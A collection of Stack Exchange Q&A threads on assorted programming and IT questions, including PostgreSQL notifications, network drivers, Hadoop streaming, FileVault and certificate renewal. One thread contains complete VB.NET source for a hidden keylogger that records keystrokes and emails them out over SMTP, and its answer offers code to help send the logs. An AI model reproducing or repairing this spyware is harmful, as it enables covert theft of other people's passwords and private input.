text:
Q: How can I send column values as the payload in a postgresql NOTIFY message? If an entry in a table satisfies certain conditions, a NOTIFY is sent out. I want the payload to include the ID number and several other columns of information. Is there a postgres method to convert variables (OLD.ColumnID, etc) to strings?
using postgres 9.3

A: @klin is correct that NOTIFY doesn't support anything other than string literals. However there is a function pg_notify() which takes normal arguments to deal with exactly this situation. It's been around since at least 9.0 and that link is to the official documentation - always worth reading it carefully, there is a wealth of information there.

A: My guess is that the notify has to be done within a trigger function. Use a dynamic query, e.g.
execute format('notify channel, ''id: %s''', old.id);

A: The solution was to upgrade Postgres to a version that supported JSON.

A: Even postgresql 9.3 supports json. You could have just used row_to_json(payload)::text

A: Sorry for the long answer, i just cant walk away without reacting to the other answers too.
The format version fails in many ways. Before EXECUTE, you shoud prepare the plan. The "pseudo command"  does not fits the syntax of execute which is
EXECUTE somepreparedplanname (parameter1, ...)

The %s in format is again too bad, this way you can summon sql injection attacks. When constructing a query with format, you need to use %L for literals %I for column/table/function/etc ids, and use %s almost never.
The other solution with the pg_notify function is correct. Try
LISTEN channel;
SELECT pg_notify('channel','Id: '|| pg_backend_pid  ());

in psql command line.
So back to the original question: sdemurjian,
Its not clarified in the question, if you wants to use this notification thing in some trigger function. So here is an example (maybe not) for you (because im a little late. sorry for that too):
CREATE TABLE columns("columnID" oid, "columnData" text);
CREATE FUNCTION column_trigger_func() RETURNS TRIGGER AS
$$ BEGIN PERFORM pg_notify('columnchannel', 'Id: '||OLD."columnID");
RETURN NEW; END; $$ LANGUAGE plpgsql;
CREATE TRIGGER column_notify BEFORE UPDATE ON columns FOR EACH ROW
EXECUTE PROCEDURE column_trigger_func();
LISTEN columnchannel;
INSERT INTO columns VALUES(1,'testdata');
BEGIN; UPDATE columns SET "columnData" = 'success'; END;
BEGIN; UPDATE columns SET "columnData" = 'fail'; ROLLBACK;

Please note that in early postgres versions (any before 9), the notify command does not accepts any payload and there is no pg_notify function.
In 8.1 the trigger function stil works if you define it like
CREATE FUNCTION column_trigger_func() RETURNS TRIGGER AS
$$ BEGIN NOTIFY columnchannel; RETURN NEW; END; $$ LANGUAGE plpgsql;


text:
Q: Find Windows 7 driver for Realtek RTL8111/8168/8411 PCI Express We have a desktop computer here which has Ubuntu installed. We want to install Windows 7 on an identical computer, but now have no network connection. Windows doesn't recognize the network card.
On the Ubuntu PC I executed the following command:

lspci | awk '/net/ {print $1}' | xargs -i% lspci -ks %
02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 06)
    Subsystem: Gigabyte Technology Co., Ltd Motherboard
    Kernel driver in use: r8169
    Kernel modules: r8169

When I search for Windows drivers using RTL8111/8168/8411 PCI Express (or other combinations) I only get Linux results.
Where can I find the Windows driver for this network card?

A: Try here:
http://www.realtek.com.tw/downloads/downloadsView.aspx?Langid=1&PNid=13&PFid=5&Level=5&Conn=4&DownTypeID=3&GetDown=false
Otherwise, I would suggest you look up your motherboard model on the Gigabyte support website and download the ethernet driver from there.
Hope this helps..

A: I found two versions of the driver :

*

*RealTek RTL8111 Driver
v.7.076

*Realtek Gigabit Ethernet Driver 7.069 for Windows 7

A: Up-to-date link as of August 2019 :
https://www.realtek.com/en/component/zoo/category/network-interface-controllers-10-100-1000m-gigabit-ethernet-pci-express-software

redpajama_set_name: RedPajamaStackExchange


text:
Q: CS-Cart Description not showing on featured products In my grid_list.tpl I have the smarty code:
{if $product.short_description}
  {$product.short_description nofilter}
{else}
  {$product.full_description|strip_tags|truncate:150:"..."}
{/if}

This seems to work fine for the category pages, but not for the 'Featured' or 'Similar' products which use the same template.
Does anyone know how to fix this?


text:
Q: Extract picture from video stored on S3 I want to extract one frame or screenshot of a video stored in s3 at specific time, what can i use to make it ?

*

*Lambda functions

*Using the SDK

A: Amazon Elastic Transcoder has the ability to create videos from sources files. For example, it can stitch together multiple videos, or extract a portion of video(s).
Elastic Transcoder also has the ability to generate thumbnails of videos that it is processing.
Thus, you should be able to:

*

*Create a job in Elastic Transcoder to create a very short-duration video from the desired time in the source video

*Configure it to output a thumbnail of the new video to Amazon S3

You can then dispose of the video (configure S3 to delete it after a day) and just use the thumbnail.
Please note that Elastic Transcoder works asynchronously, so you would create a Job to trigger the above activities, then come back later to retrieve the results.
The benefit of the above method is that there is no need to download or process the video file on your own Amazon EC2 instance. It is all done within Elastic Transcoder.

A: The AWS SDK does not have an API that extracts pictures from a video. You can use AWS to analyze videos - such as the Amazon Rekognition service. For example:
Creating AWS video analyzer applications using the AWS SDK for Java
You can use the Amazon Rekognition to detect faces, objects, and text in videos. For example, this example detects text in a video:
https://github.com/awsdocs/aws-doc-sdk-examples/blob/master/javav2/example_code/rekognition/src/main/java/com/example/rekognition/VideoDetectText.java
The Amazon S3 API has many operations, but extracting a pic from a video is not one of them. You can get an inputstream of an object located in a bucket.
To extract a pic from a video, you would need to use a 3rd party API.


text:
Q: Shell Pipes and redirect help. Error: Must set personality to get -x option/Garbage option I'm creating my own shell that does the following redirect options ">,>>, <, |" using pipes. But I keep getting this strange error.  When I try a command ps -ax > processes.txt  I get this either:
    Error: Must set personality to get -x option

or
    Error: Garbage option

Here's the code I've written so far.
for (i=0; i<nargs; i++)
{

    //> redirect output to output file
    if((strcmp(args[i], ">")==0))
    {   //printf("Forking.\n");
        pid = fork();
        //printf("Forked\n");
        if(pid == 0)
            { /* child process */
                const char* file = args[i+1];
                printf("entered child process\n");
                int fd;

                if((fd=creat(file,O_WRONLY| O_TRUNC | O_CREAT ))==-1)
                {
                    fprintf(stderr,"Couldn't open %s\n", args[i+1]);
                    exit(-1);
                }//this works
                else
                    {fd=creat(file,O_WRONLY | O_TRUNC | O_CREAT);
                    dup2(fd,1);
                    close(fd);
                    args[i]= 0;
                    execvp(args[0], args);
                    perror("exec failed\n");
                    exit(-1);}
            }

        else if(pid > 0)
            { /* parent process */
                if(!async) waitpid(pid, NULL, 0);
                else printf("this is an async call\n");
                //execvp(args[i+1], args);

              }
        else { /* error occurred */
                perror("fork failed\n");
                exit(1);
              }

        printf("Child complete\n");

    }//>> redirect output to output file does not overwrite just writes to the end of the file
    else if((strcmp(args[i], ">>")==0))
    {
        printf("Forking.\n");
        pid = fork();
        printf("Forked\n");
        if(pid == 0)
            { /* child process */
                const char* file = args[i+1];
                printf("entered child process\n");
                int fd;
                if((fd=open(file,O_WRONLY | O_CREAT | O_APPEND))==-1)
                {
                    fprintf(stderr,"Couldn't open %s\n", args[i+1]);
                    exit(-1);
                }

                    fd=open(file,O_WRONLY | O_CREAT | O_APPEND);
                    dup2(fd,1);
                    close(fd);
                    args[i]=NULL;
                //printf("%d", fd);
                execvp(args[0], args);
                /* return only when exec fails */
                perror("exec failed\n");
                exit(-1);
            }
        else if(pid > 0)
            { /* parent process */
                if(!async) waitpid(pid, NULL, 0);
                else printf("this is an async call\n");
              }
        else { /* error occurred */
                perror("fork failed\n");
                exit(1);
              }

        printf("Child complete\n");
    }//input comes from a file
    else if((strcmp(args[i], "<")==0))
    {
        printf("Forking.\n");
        pid = fork();
        printf("Forked\n");
        if(pid == 0)
            { /* child process */
                const char* file = args[i+1];
                printf("entered child process\n");
                int fd;
                if((fd=open(file,O_RDONLY)==-1))
                {
                    fprintf(stderr,"File does not exist %s\n", args[i+1]);
                    exit(-1);
                }

                    fd=open(file,O_RDONLY);
                    dup2(fd,0);
                    close(fd);
                    args[i]=NULL;
                execvp(args[0], args);
                /* return only when exec fails */
                perror("exec failed\n");
                exit(-1);
            }
        else if(pid > 0)
            { /* parent process */
                if(!async) waitpid(pid, NULL, 0);
                else printf("this is an async call\n");
              }
        else { /* error occurred */
                perror("fork failed\n");
                exit(1);
              }

        printf("Child complete\n");
    }//| output is input for another command
    else if((strcmp(args[i], "|")==0))
    {//the mypipe code edited
        printf("Forking.\n");
        pid = fork();
        printf("Forked\n");
        if(pid == 0)
        {       const char* file = args[i+1];
                printf("entered child process\n");
                int fd;
                if((fd=open(file,O_WRONLY | O_CREAT | O_TRUNC))==-1)
                {
                    fprintf(stderr,"Couldn't open %s\n", args[i+1]);
                    exit(-1);
                }//this works

                    fd=open(file,O_WRONLY | O_CREAT | O_TRUNC);
                    dup2(fd,1);
                    close(fd);
                    //close(fd);

                args[i]=NULL;
                execvp(args[0], args);
                /* return only when exec fails */
                perror("exec failed\n");
                exit(-1);
            }
        else if(pid > 0)
            { /* parent process */
                if(!async) waitpid(pid, NULL, 0);
                else printf("this is an async call\n");
              }
        else { /* error occurred */
                perror("fork failed\n");
                exit(1);
              }

        printf("Child complete\n");

    }//

A: Did u try debugging with gdb. I think gdb will give better picture or try running your binary with strace,it will give u system level picture where exactly your program facing a problem. One more thing , is this the complete program, if it is then i will try on my system as well


text:
Q: Initialising std::discrete_distribution in VS2013 I have a std::vector<float> weights; containing the list of weights. I don't know what will be in this list until some stage in running the program. I would like to do
std::discrete_distribution<> dist(weights.begin(),weights.end());

but VS2013 doesn't appear to have a constructor for std::discrete_distribution that accepts an iterator range. Is there any workaround?

A: Compare cppreference.com and the Microsoft reference for std::discrete_distribution:
These are the constructors provided by VS2013:
discrete_distribution();
explicit discrete_distribution(
    const param_type& par0
);
discrete_distribution(
    initializer_list<double> IList
);
template<class Fn>
    discrete_distribution(
        size_t count,
        double low,
        double high,
        Fn func
);

There is one important constructor missing, probably because the Microsoft developers didn't have the time to implement it:
template< class InputIt >
 discrete_distribution( InputIt first, InputIt last );

That means, unless the documentation is incomplete, you simply can't use an iterator-based constructor for this class. Switch to another compiler (like clang or g++), or wait until this feature is implemented.
Now for a workaround you can use right now:
std::size_t i(0);
assert( !weights.empty() ); // No weights would be very weird.
std::discrete_distribution<> dist(weights.size(),
                                  0.0, // dummy!
                                  0.0, // dummy!
                                  [&weights,&i](double)
{
   auto w = weights[i];
   ++i;
   return w;
 });

I hope that at least lambdas are supported ;-) The important thing is to capture i by reference, such that it gets properly incremented. Demo: http://ideone.com/nIBUts
Why does this work? The constructor we are using here is:
template< class UnaryOperation >
discrete_distribution( std::size_t count, double xmin, double xmax,
                       UnaryOperation unary_op );

The documentation on cppreference tells us that the count (in our case weights.size()), as well as the xmin and xmax is used to create the weights using the UnaryOperation.
We are ignoring xmin and xmax on purpose. As the UnaryOperation we use the lambda
[&weights,&i](double)
{
   auto w = weights[i];
   ++i;
   return w;
 }

or
[&weights,&i](double)
{
   return weights[i++];
}

if you prefer.
Now, we are ignoring the input value for that operator and just return the i^th element of our vector. We capture both the vector and the index by reference to avoid copies.

A: std::discrete_distribution<> dist(
    weights.size(),
    -0.5,
    -0.5+weights.size(),
    [&weights](size_t i)
    {
        return weights[i];
    });

or in terms of iterators:
//replacement code for: std::discrete_distribution<> dist(first, last);
auto first = weights.cbegin();
auto last = weights.cend();
auto count = std::distance(first, last);
std::discrete_distribution<> dist(
    count,
    -0.5,
    -0.5+count,
    [&first](size_t i)
    {
        return *std::next(first,i);
    });

This avoids having to capture a mutable i variable. The parameter passed to the lambda can be used as the index.


text:
Q: Classification of all 28 Exotic 7-Spheres Wikipedia says:

As shown by Egbert Brieskorn (1966, 1966b) (see also Hirzebruch & Mayer 1968) the intersection of the complex manifold of points in $\mathbb{C}^5$ satisfying $$a^2+b^2+c^2+d^3+e^{6k-1},$$
  with a small sphere around the origin for $k = 1, 2, \dotsb, 28$ gives all $28$ possible smooth structures on the oriented $7$-sphere. Similar manifolds are called Brieskorn spheres.

Wikipedia gives three sources, but the two (linked) that may actually give the proof or expand on the above result are not in English. Are these $28$ structures the $28$ exotic spheres? Are there any known English translations or papers/books expanding on the facts above? Any insights or related articles classifying the exotic $7$-spheres would be greatly appreciated.

A: Yes, the 28 differentiable structures are the 28 exotic spheres.  If you want a source in English, it's hard to beat the original:

Kervaire and Milnor, Groups of homotopy spheres: I,
  Ann. Math. (2)
  77
  (1963), 504-537

Their paper is also available for download here, which I believe is off of Andrew Ranicki's website.


text:
Q: Can Lua talk to Hadoop? Can I use the Lua programming language for Hadoop?
If so, how?

A: Absolutely :) You can use Hadoop streaming like this:
Create mapper and/or reducer scripts in lua that read from stdin:
#!/usr/bin/env lua
while true do
  local line = io.read()
  if line == nil then break end

  # Do something with the incoming row

end

And then run your job like:
$HADOOP_HOME/bin/hadoop  jar $HADOOP_HOME/hadoop-streaming.jar \
    -input myInputDirs \
    -output myOutputDir \
    -mapper myMapper.lua \
    -reducer myReducer.lua \
    -file /local/path/to/myMapper.lua
    -file /local/path/to/myReducer.lua

Here, you specify your mapper and reducer scripts using -mapper and -reducer and ship both scripts with -file to your distributed cache, so all task trackers have access to it.
When running with streaming, you need to make sure that lua is available on all the machines that run task trackers.
Some time ago, we experimented using luajit (which is horribly fast) for streaming from Pig. If you use Pig, you can do something like:
 OP = stream IP through `/local/path/to/script`;

This is not the same as using lua as a mapper or reducer, but depending on where your operation happens, the output from the mapper or reducer is streamed through the script.

A: I've never used Lua, nor the streaming side of Hadoop - So this is merely a suggestions, not sure if it will work:
Take a look at http://www.michael-noll.com/tutorials/writing-an-hadoop-mapreduce-program-in-python/ and use Lua inplace of Python?
If I was going to attempt to do what you are asking, that would be my starting point.


text:
Q: Getting Mac to ask for disk encryption password Sometime in the past if I turned off the power to my Macbook Pro, when I started it up it would ask for a disk password. After that it would load the OS and ask me to select a user to login.
Now when I boot from power it no longer asks for a disk password. It goes straight to asking for a user. FileVault is still on.
How do I get it to ask for a disk password again? I don't want any user to be able to unlock it. I only want myself to be able to unlock the disk. All other users should only be able to use the machine if I've unlocked the disk first.

A: The proper tool to add or remove FileVault users is fdesetup.
Open Terminal and enter sudo fdesetup list -extended to get a synopsis.
To remove a user by UUID or user name use:
sudo fdesetup remove -uuid <UUID>
sudo fdesetup remove -user <username>

All users removed won't be able to log-in with their passwords at the first password prompt because they aren't listed anymore. The user still exists as OS user though. To login as such a user either has to use fast user switching or log out as FileVault enabled user and log in with the non-FileVault-enabled user.
To reenable FileVault disabled users either use sudo fdesetup add -usertoadd <username> or open System Preferences > Security > FileVault > hit the "Enable Users..." button and enable a listed user.


text:
Q: Method overloading in C Since C does not support method overloading, how is it possible to have methods like open, that explicitly offers two different signatures:
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

I mean, printf supports a variate number of arguments using vargs, but have no definite signature other than the one using vargs itself -- otherwise there should be one signature for each possible printf call. Yet, open() -- as I presume -- is written in C, and offers two explicit signatures.
I didn't actually get the way these functions are implemented. Can someone show a small example of how a function like:
void foo() { printf("bar\n"); }
void foo(int x) { printf("bar %d\n", x); }

would be implemented in C?

A: The function open is defined with a variable number of arguments:
int open(const char *_path, int _oflag, ...)

Here is a source of  <fcntl.h>; the function open is declared at the bottom using the _PROTOTYPE macro.
Note that part of the reason it works with open is that the function takes other parameters already. In order for the function to take variable number of arguments, it must take at least one "fixed" argument. That is why it is not possible to do this trick with your foo() function.

A: You've picked a poor reference (http://linux.die.net) to learn about this function. A better one is the Open Group Base Specifications. And it shows this declaration for open():
int open(const char *path, int oflag, ... );

So in other words, this is just varargs.

A:
how is it possible to have methods like open, that explicitly offers two different signatures:

Wait, wait, wait... nah. Not even close. How'bout reading the documentation?
open() is a variadic function, its signature is
int open(const char *path, int oflag, ... );

No magic here.

A: You can not define function with the same name more than 1 time in the program as you mentioned in your question
Using macro will allow you to define function more than 1 time in the C code but only 1 function will compiled
#ifdef MACRO1
void foo() { printf("bar\n"); }
#else
void foo(int x) { printf("bar %d\n", x); }
#endif

and in the main
#ifdef MACRO1
    foo();
#else
    foo(5);
#endif

A: It is all varargs based.  In the case of open, it only reads the third argument for certain inputs and states.  In particular, when it has to create the file.   Similarly, printf only reads the arguments when it scans the % format markers.  Your case doesn't really work that way as there is no early argument to indicate how many arguments there are.


text:
Q: SMTP Malfunction today I am having a problem with my program. So basically, what it should be doing is collecting the users keystrokes and sending it to my email. My email and password have been covered for security purposes.
CODE
Option Strict On
Imports System.Net.Mail
Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
    Try
        Dim smtpserver As New SmtpClient
        smtpserver.EnableSsl = True
        Dim mail As New MailMessage
        smtpserver.Credentials = New Net.NetworkCredential("a******@live.com.au", "*********")
        smtpserver.Port = 587
        smtpserver.Host = "smtp.live.com"
        mail = New MailMessage
        mail.From = New MailAddress("a******@live.com.au")
        mail.To.Add("a******@live.com.au")
        mail.Subject = ("New keylogger logs!")
        mail.Body = txtLogs.Text
        smtpserver.Send(mail)
    Catch ex As Exception
        Me.Close()
    End Try
End Sub

Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick
    Dim result As Integer
    Dim key As String = ""
    Dim i As Integer

    For i = 2 To 90
        result = 0
        result = GetAsyncKeyState(i)
        If result = -32767 Then
            key = Chr(i)
            If i = 13 Then key = vbNewLine
            Exit For
        End If
    Next i

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            txtLogs.Text &= key
        Else
            txtLogs.Text &= key.ToLower
        End If
    End If

    If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "h" Then
        Me.Visible = True
    End If
End Sub

Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
    txtLogs.Text &= vbNewLine & "Keylogger stopped at:    " & Now & vbNewLine
End Sub

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.ShowInTaskbar = False
    Me.ShowIcon = False
    Me.Visible = False
    txtLogs.Text = txtLogs.Text + "keylogger started at: " & Now & vbNewLine

End Sub
End Class

Instead of sending the logs in the email it just sends

Keylogs recived at...

I am using the .Net framework 3.5 as intended for my program.
What could the problem be?

A: 1st let me state your problem in the code pasted above you're trying to send a "file" as the body, this is not how you send attachments Example below.
Dim SMTP_Attachment as system.net.mail.attachment
SMTP_Attachment = new system.net.mail.attachment("Path to file")
smtpserver.attahcment.add(SMTP_Attachment)


text:
Q: "portable" way to determine GPU core occupancy with Vulkan For writing GPU computation kernels (aka "compute shaders" in GL/Vulkan), it is useful to query various shader parameters such as register usage and shared memory usage that determine how much individual threads may get scheduled to a single streaming multiprocessor (SM with nVidia, CU with AMD, etc.).
For AMD GPUs, we have an appropriate extension that contains vkGetShaderInfoAMD, using which one can reach some information about occupied VGPR/SGPRs and shared memory (aka LDS) and thus calculate a good estimate of the core occupancy.
Is there any such possibility/extension for nVidia and Intel (and possibly other) GPUs, or a workaround to measure the properties of a GLSL shader on a particular hardware in some other way? At least for nVidia cards, the functionality is implemented in CUDA, but that doesn't help much with debugging GLSL shaders stuff.


text:
Q: Git-lab push that assigned to a issue and make issue done is there any way to push a commit from android Studio that assigned to a issue that make issue done ?
my Git-lab is on our corporation Local serverand it's version is GitLab Community Edition 8.5.0  I tried:
Closes #issuenumber
Fixes #issuenumber

but these not works and just Gitlab findouts that my issue mentioned in commit.
I found this link with same problem. I also do:

*

*Edit /etc/gitlab/gitlab.rb and add the line gitlab_rails['gitlab_issue_closing_pattern'] = '((?:[Cc]los(?:e[sd]|ing)|[Ff]ix(?:e[sd]|ing)?) +(?:(?:issues? +)?#\d+(?:(?:, *| +and +)?))+)'

*Run gitlab-ctl reconfigure
but it does not solve the problem.

A: According to this page on GitLab

When you create a commit with a message starting with 'Fixes #1' or 'Closes #1' and push it to master GitLab will close the issue you referred to. If you create a Merge Request targeting master with commits in it that will close Issues, GitLab will tell you which Issues will be closed.

That should solve your problem


text:
Q: Problems with renewing certificates after ACME API upgrade to V2 We are using acme.sh to renew our let's encrypt certificates and ran into problems today.
First we got some errors and ran into the rate limit for invalid requests often and therefore decided to upgrade to V2 as it was recommended anyhow.
We upgraded by running acme.sh --upgrade and updated all the URL's in our domains config to use the new v2 endpoints.
Now the acme.sh --renew -d my.domain.at --ecc runs further than before (we had some troubles where we couldn't get nonce because we were missing the /directory postfix in the Le_API variable.
Now we have the problem that we receive an unauthorized in our verification:
{
  "type": "http-01",
  "status": "invalid",
  "error": {
    "type": "urn:ietf:params:acme:error:unauthorized",
    "detail": "Invalid response from https://my.domain.at/login [...]: \"\u003c!DOCTYPE html\u003e\\n\u003chtml\u003e\\n    \u003chead\u003e\\n        \u003cmeta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"IE=edge\\\"/\u003e\\n        \u003cmeta charset=\\\"utf-8\\\"/\u003e\"",
    "status": 403
  },
  "url": "https://acme-v02.api.letsencrypt.org/acme/chall-v3/11110584350/BRAIDw",
  "token": "my-hash",
  "validationRecord": [
    {
      "url": "http://my.domain.at/.well-known/acme-challenge/my-hash",
      "hostname": "my.domain.at",
      "port": "80",
      "addressesResolved": [
        "X.X.X.X",
        "..."
      ],
      "addressUsed": "..."
    },
    {
      "url": "https://my.domain.at/.well-known/acme-challenge/my-hash",
      "hostname": "my.domain.at",
      "port": "443",
      "addressesResolved": [
        "X.X.X.X",
        "..."
      ],
      "addressUsed": "..."
    },
    {
      "url": "https://my.domain.at/login",
      "hostname": "my.domain.at",
      "port": "443",
      "addressesResolved": [
        "X.X.X.X",
        "..."
      ],
      "addressUsed": "..."
    }
  ]
}

We have an NGINX running and we are not sure what's happening here. We shouldn't be redirected to the /login page as far as we understood.
Are we missing anything? The certificate renewal always worked flawlessly until we ran into problems today and tried to upgrade.

A: It turned out our NGINX configuration was wrong, we configured the required route .well-known/acme-challenge to point to an empty folder and are asking ourselves now how that could have ever worked. ¯_(ツ)_/¯
After fixing the config in NGINX everything worked as expected.


text:
Q: How do I choose which 4-bay NAS box to buy? I'm looking to buy a NAS box for home use, but I can't seem to find up to date reviews online. I'm thinking at least four bays (for RAID 5).
Some example candidates are Buffalo LinkStation Quad, Western Digital ShareSpace Network, NetGear ReadyNas Pro 4 Business, Cisco SB NSS324 Smart Storage 4-bay and Fujitsu CELVIN® NAS Server Q800.
Which one should I get? What should I consider?

Edit: Apparently this exact type of question is explicitly discouraged by the FAQ. Sorry!

A: (Note: This is cut-and-paste and then edited from my answer to a similar question on apple.stackexchange.com.)
The Drobo FS is my new favourite NAS. I've run a Netgear ReadyNAS and a PC-based NAS in the past and neither touch the Drobo FS for simplicity, speed and reliability. The ReadyNAS suffered from poor RAID performance, especially on reboots when volumes needed to be scanned. And the power supply in it was really lame. And the PC-based NAS was just a pain to maintain and costly to keep up.
The Drobo FS is super simple to set up. Has very, very good volume build and scanning speeds on startup. Has what has to be the best hot-swapping of any multi-disk unit I've ever seen that was in the sub-$10k range. And performs like a champ while drawing very little power.
They appear a little pricey out of the gate, but you save much money in time and you don't have to populate it with drives purchased from Drobo. You also don't have to take care to match drive sizes like many NAS solutions require for maximum performance. For example: I'm currently running two 400 GB and two 1 GB drives my older Drobo -- something I could never do with my ReadyNAS box without it pitching a fit about mis-matched drives.
I now run an FS for home sharing and an old Drobo hangs off my iMac for audio project data. They are teh awesome.

A: I really like the Buffalo NAS and have put them in several clients' offices.  They're pretty stable, although I've found their web GUI to be a bit aggravating at times.
If you're interested in S3 syncing at all, QNAP has some nice ones (you can do synching via custom code or a hodge-podge of other tools for 2-way syncs for the other ones, but the QNAP natively supports it).

A: Total cost of ownership is one way to look at things.  Will you be trying things that cause a lot of downtime (sometimes unscheduled - see my comment above)?  Do you have a plan to transition to another platform, if, you are the unlucky 1% that sees a motherboard failure on your NAS?  I've had decent operation of a ReadyNAS duo, as long as I stuck with conventional operations.  So, my experience is 3 years of solid performance (unless you try flash upgrades).
I'd be curious to know if anyone has weathered a NAS failure?
One more thing, I've had very stable (almost 2 years) performance from a home built Ubuntu 9 based software RAID5.  So far, its like a rock... plus, I think I could migrate the RAID array to another platform in under 4 hours in case of an emergency.


text:
Q: Wait 10 seconds after send command in RabbitListener I have my RabbitListener witch received results of calculations. This is the lot of data so i batched it and next send a command to axon commandGateway. I wonder if it is possible for the listener to wait a few seconds before sending next command. I note that i can't use threadSleep here. It could be work something like this method for every batch
private void myMethod() {
  commandGateway.send(batchedData)
   //wait 10seconds

A: What is the reason for having a waiting period here?
If the reason is to wait before Axon Framework has processed all data present in the command, you can use commandGateway.sendAndWait(Object command, ...) instead. This will make the current thread wait for the command to have been executed.
If it is a mechanism to batch the data, I would suggest keeping an in-memory List to queue the items, and then sending a command every 10 seconds using the Spring scheduling mechanism. I created a small example in Kotlin to illustrate this:
@Service
class CalculationBatcher(
    private val commandGateway: CommandGateway
) {
    private val calculationQueue = LinkedList<Any>()

    fun queueCalculation(calculation: Any) {
        calculationQueue.add(calculation)
    }

    @Scheduled(fixedRate = 10000) // Send every 10 seconds
    @PreDestroy // When destroying the application, send remaining events
    fun sendCalculations() {
        // Use pop here on the LinkedList while having items to prevent threading issues
        val calculationsToSend = LinkedList<Any>()
        while (calculationQueue.isNotEmpty()) {
            calculationsToSend.push(calculationQueue.pop())
        }
        commandGateway.sendAndWait<Any>(MyEventsCommand(calculationsToSend), 10, TimeUnit.SECONDS)
    }

    data class MyEventsCommand(val events: List<Any>)
}

I hope this helps. If the reason was something else, let me know!


text:
Q: web page link that can be opened in activity I am looking for a way to be able to have a list of web site that when pressed thay open the link. but keep the app runing still so when the users is finished with the link he or she is still on the active page

A: You need to add an activity that inherits from WebView see Android reference, rather than say sending an intent with the full http:// which delegates to the OS who is best to handle the intent which in the default case will be the web browser for the device. If you add a WebView then you are in control and when the activty ends it should return to the original Activity.


text:
Q: How do I force install updates that `softwareupdate -l` doesn't show (but should)? (16in 2019 Intel MBP, 12.3.1)
So I'm trying to apply software updates that should get me from 12.3.1 to 12.5, and am well past the stage of trying to get the system Software Update tool to apply them. I know they're there, and OSX knows they're there, because /var/log/install.log shows
2022-08-05 11:30:08-07 <machine> com.apple.preferences.softwareupdate.remoteservice[1097]: Controller: Received availableUpdatesChanged notification; new updates: []; new major updates: [012-42714, 012-06873, 002-79225, 012-40387, 012-22320, 012-08272, 002-77154, 002-65695, 002-57023, 002-42341, 002-23589, 071-78704, 001-68446, 001-51042, 001-36801]
2022-08-05 11:30:08-07 <machine> softwareupdated[325]: MSU updates found: (
        )
2022-08-05 11:30:08-07 <machine> com.apple.preferences.softwareupdate.remoteservice[1097]: SUOSUShimController: Armed: 0, with mode: 0, date: (null), updates queued for later: (
        )
2022-08-05 11:30:08-07 <machine> softwareupdated[325]: Adding client SUUpdateServiceClient pid=930, uid=501, installAuth=NO rights=(), transactions=0 (/System/Library/PrivateFrameworks/SoftwareUpdate.framework/Versions/A/Resources/SoftwareUpdateNotificationManager.app/Contents/MacOS/SoftwareUpdateNotificationManager)
2022-08-05 11:30:08-07 <machine> SoftwareUpdateNotificationManager[930]: AssertionMgr: Cancel com.apple.softwareupdate.NotifyAgentAssertion-BadgingCountChanged assertion for pid 930, id 0x84F3
2022-08-05 11:30:08-07 <machine> SoftwareUpdateNotificationManager[930]: SUOSUAuthenticationManager: Disabling local authentication requirement
2022-08-05 11:30:08-07 <machine> softwareupdated[325]: Adding client SUUpdateServiceClient pid=930, uid=501, installAuth=NO rights=(), transactions=0 (/System/Library/PrivateFrameworks/SoftwareUpdate.framework/Versions/A/Resources/SoftwareUpdateNotificationManager.app/Contents/MacOS/SoftwareUpdateNotificationManager)
2022-08-05 11:30:08-07 <machine> SoftwareUpdateNotificationManager[930]: AssertionMgr: Could not cancel com.apple.softwareupdate.NotifyAgentAssertion-BadgingCountChanged assertion - no assertion found for pid 930

So it knows there are several major updates, but they don't show as "MSU updates", and trying to naively install one of the listed updates by ID gets nowhere:
<machine>:~ root# softwareupdate -i 012-42714
Software Update Tool

Finding available software
2022-08-05 11:39:09.381 softwareupdate[2141:39211] XType: com.apple.fonts is not accessible.
2022-08-05 11:39:09.382 softwareupdate[2141:39211] XType: XTFontStaticRegistry is enabled.
012-42714: No such update
No updates are available.

Where do I go from here trying to get these updates installed?
The machine is controlled by an MDM (Jamf, specifically).


text:
Q: Awesomium.NET Flash Player I'm tring to use Flash Player into WPF application using Awesomium.. I've downloaded and installed the 1.7.2 SDK..
In my WPF app i can now use the Awesomium.NET WebBrowser control, but Flash Player is not working. I've did a quick check on YouTube and videos are loaded using HTML5
I've searched multiple times on google and also on the official website, but there is not much documentation available, and for some users Flash Player is working.
Is there any option to set up? Or i need to specify a Plugin Path?
I don't know if Awesomium is getting the Flash from IE/Chrome/Firefox already installed Browser.. But i do have them all, with Flash plugin Installed.
Currently i do not have much code, only the XAML Awesomium Control, added from VS2012 ToolBox
PS: In my application i only need to open a static SWF with parameters, and a HTML5+JS page so if there is something better for that, i apreciate also alternatives, except the WPF WebControl since it use IE Engine and the HTML5 page i'm loading into it only support IE 10 +

A: Are you sure that you use correct control? WebControl it is Awesomium control, WebBrowser it's WPF control. If it's correct try create folder 'plugins' in bin folder and put there npswf32_11_8_800_94.dll


text:
Q: How do you use HTML  tag for changing pages in html I'm more of a new coder, but I cant figure out how to make a button go to a new page, if you wanted to see, this is my code, most of my CSS or stylesheet is inline, I'm mainly building this to be a website for my school news, I also cant find many things about this
Code:

.line-1 {
  height: 10px;
  align-self: center;
  position: relative;
  border-radius: 3px;
  transform: translateY(-50px);
  background: yellow;
}
<!DOCTYPE html>

  <link rel="stylesheet" href="style.css">
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>

-MVP-

-News-

The Moran Newsline

     <button type="button" onclick="alert('Test.More')">More</button>
     <button type="button" onclick="alert('Test.Broadcasts')">Broadcasts</button>
     <button type="button" onclick="alert('Test.Info')">Info</button>

So how would I make this work?

A: to make your button open a page you need to add a link in the button tag.
Like this:
 <button type="button" onclick="window.location.href='writeYourPageHere.com';">Test</button>


text:
